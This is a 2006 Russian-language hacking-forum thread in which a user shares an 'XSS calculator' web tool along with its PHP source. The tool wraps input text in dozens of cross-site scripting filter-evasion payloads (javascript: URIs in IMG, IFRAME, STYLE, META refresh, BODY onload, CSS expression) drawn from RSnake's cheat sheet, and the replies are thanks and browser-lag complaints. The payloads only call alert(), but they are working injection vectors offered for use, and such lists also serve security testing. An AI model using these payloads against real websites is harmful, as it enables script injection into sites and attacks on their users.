Small XSS calculator

Discussion in 'Уязвимости' started by gemaglabin, 26 Nov 2006.

  1. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Очередная маленькая утилита.На этот раз всего лишь кодирует ascii текст в различные формы,этакий xss калькулятор.

    База xss уязвимостей была взята у ha.ckers.org ( XSS (Cross Site Scripting) Cheat Sheet by RSnake).

    С
    крипт использует AJAX - технологии,то есть для работоспособности java-script должен быть включен.В ie почему-то отображается не весь текст.

    http://underwater.cup.su/xss/


     
    5 people like this.
  2. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Тем кому интересно вот исходник и база уязвимостей

    PHP:
    function asciitohex($str
     {
      for (
    $i=0;$i<strlen($str);$i++)
      { 
       
    $mystr .= '%'.bin2hex($str[$i]);
      }
      return 
    $mystr;
     }

     function 
    entityenc($str
     {
      for (
    $i=0;$i<strlen($str);$i++)
      { 
       
    $mystr .= "&#" ord($str[$i]);
      }
      return 
    $mystr;
     }
     
     function 
    asciitodec($str
     {
      for (
    $i=0;$i<strlen($str);$i++)
      { 
       
    $mystr .= ord($str[$i]).",";
      }
       
    $mystr substr($mystr,0,strlen($mystr)-1);
       return 
    $mystr;
     }
     
     function 
    asciitobase($str)
     {
      return 
    base64_encode($str);
     }
    PHP:
    echo ('alert(String.fromCharCode('.asciitodec($_POST['text']).'))');
    echo (
    "'';!--".chr(34)."<XSS>=&{()}");
    echo (
    "<IMG SRC=".chr(34)."javascript:alert('".$_POST['text']."');".chr(34).">");
    echo (
    "<IMG SRC=javascript:alert('".$_POST['text']."')>");
    echo (
    "<IMG SRC=JaVaScRiPt:alert('".$_POST['text']."')>");
    echo (
    "<IMG SRC=javascript:alert(".htmlspecialchars($_POST['text'],ENT_QUOTES).")>");
    echo (
    '<IMG """><SCRIPT>alert("'.$_POST['text'].'")</SCRIPT>">');
    echo (
    '<IMG SRC=javascript:alert(String.fromCharCode('.asciitodec($_POST['text']).'))>');
    echo (
    '<IMG SRC="jav    ascript:alert('.chr(39).$_POST['text'].chr(39).');"');
    echo (
    '<IMG SRC="jav    ascript:alert('.chr(39).$_POST['text'].chr(39).');"');
    echo (
    '<IMG SRC="jav
    ascript:alert('
    .chr(39).$_POST['text'].chr(39).');"');
    echo (
    '<IMG SRC="jav ascript:alert('.chr(39).$_POST['text'].chr(39).');"');
    echo (
    "perl -e 'print ".chr(34)."<IMG SRC=java\0script:alert(".chr(34).$_POST['text'].chr(34).")>".chr(34).";' > out");
    echo (
    "perl -e 'print ".chr(34)."<SCR\0IPT>alert(".chr(34).$_POST['text'].chr(34).")</SCR\0IPT>".chr(34).";' > out");
    echo (
    "<IMG SRC=".chr(34)."   javascript:alert('".$_POST['text']."');".chr(34).">");
    echo (
    "<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(".chr(34).$_POST['text'].chr(34).")>");
    echo (
    '<<SCRIPT>alert("'.$_POST['text'].'");//<</SCRIPT>');
    echo (
    '<IMG SRC="javascript:alert('.chr(39).$_POST['text'].chr(39).')"');
    echo (
    '<SCRIPT>a=/'.chr(39).$_POST['text'].chr(39).'/alert(a.source)</SCRIPT>');
    echo (
    '\";alert('.chr(39).$_POST['text'].chr(39).');//');
    echo (
    '</TITLE><SCRIPT>alert("'.$_POST['text'].'");</SCRIPT>');
    echo (
    '<INPUT TYPE="IMAGE" SRC="javascript:alert('.chr(39).$_POST['text'].chr(39).');">');
    echo (
    '<BODY BACKGROUND="javascript:alert('.chr(39).$_POST['text'].chr(39).')">');
    echo (
    "<BODY ONLOAD=alert('".$_POST['text']."')>");
    echo (
    '<IMG DYNSRC="javascript:alert('.chr(39).$_POST['text'].chr(39).')">);');
    echo (
    '<IMG LOWSRC="javascript:alert('.chr(39).$_POST['text'].chr(39).')">);');
    echo (
    '<BGSOUND SRC="javascript:alert('.chr(39).$_POST['text'].chr(39).');">');
    echo (
    '<BR SIZE="&{alert('.chr(39).$_POST['text'].chr(39).')}">');
    echo (
    '<LINK REL="stylesheet" HREF="javascript:alert('.chr(39).$_POST['text'].chr(39).');">');
    echo (
    '<STYLE>li {list-style-image: url("javascript:alert('.chr(39).$_POST['text'].chr(39).')");}</STYLE><UL><LI>'.$_POST['text']);
    echo (
    "<IMG SRC='vbscript:msgbox(".chr(34).$_POST['text'].chr(34).")'>");
    echo (
    '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('.chr(39).$_POST['text'].chr(39).');">');
    echo (
    '<IFRAME SRC="javascript:alert('.chr(39).$_POST['text'].chr(39).');"></IFRAME>');
    echo (
    '<FRAMESET><FRAME SRC="javascript:alert('.chr(39).$_POST['text'].chr(39).');"></FRAMESET>');
    echo (
    '<TABLE BACKGROUND="javascript:alert('.chr(39).$_POST['text'].chr(39).')">');
    echo (
    '<TABLE><TD BACKGROUND="javascript:alert('.chr(39).$_POST['text'].chr(39).')">');
    echo (
    '<DIV STYLE="background-image: url(javascript:alert('.chr(39).$_POST['text'].chr(39).'))">');
    echo (
    '<DIV STYLE="width: expression(alert('.chr(39).$_POST['text'].chr(39).'));">');
    echo (
    "<STYLE>@im\port'\ja\vasc\ript:alert(".chr(34).$_POST['text'].chr(34).")';</STYLE>");
    echo (
    '<XSS STYLE="xss:expression(alert('.chr(39).$_POST['text'].chr(39).'))">');
    echo (
    '<STYLE TYPE="text/javascript">alert('.chr(39).$_POST['text'].chr(39).');</STYLE>');
    echo (
    '<STYLE>.XSS{background-image:url("javascript:alert('.chr(39).$_POST['text'].chr(39).')");}</STYLE><A CLASS=XSS></A>');
    echo (
    '<BASE HREF="javascript:alert('.chr(39).$_POST['text'].chr(39).');//">');
    echo (
    '<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('.chr(39).$_POST['text'].chr(39).')&lt;/SCRIPT&gt;">');
     echo(
    "<br/><b><center>Used XSS (Cross Site Scripting) Cheat Sheet at ha.ckers.org</b></center>");
     
    4 people like this.
  3. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    У меня файрфокс завис((((((((((((((((((((((((((((((((
     
  4. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    ЫЫыы так тебе и надо %)
     
  5. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Гема, полезная весч, спасибо.
    P.s.А у меня фф все быстро отработал)
     
  6. EPIDEM

    EPIDEM Banned

    Joined:
    28 Dec 2005
    Messages:
    124
    Likes Received:
    37
    Reputations:
    -10
    Мля, в фф лаги.... =/
     
  7. jonart

    jonart Elder - Старейшина

    Joined:
    6 Apr 2005
    Messages:
    37
    Likes Received:
    5
    Reputations:
    0
    gemaglabin молодца респект!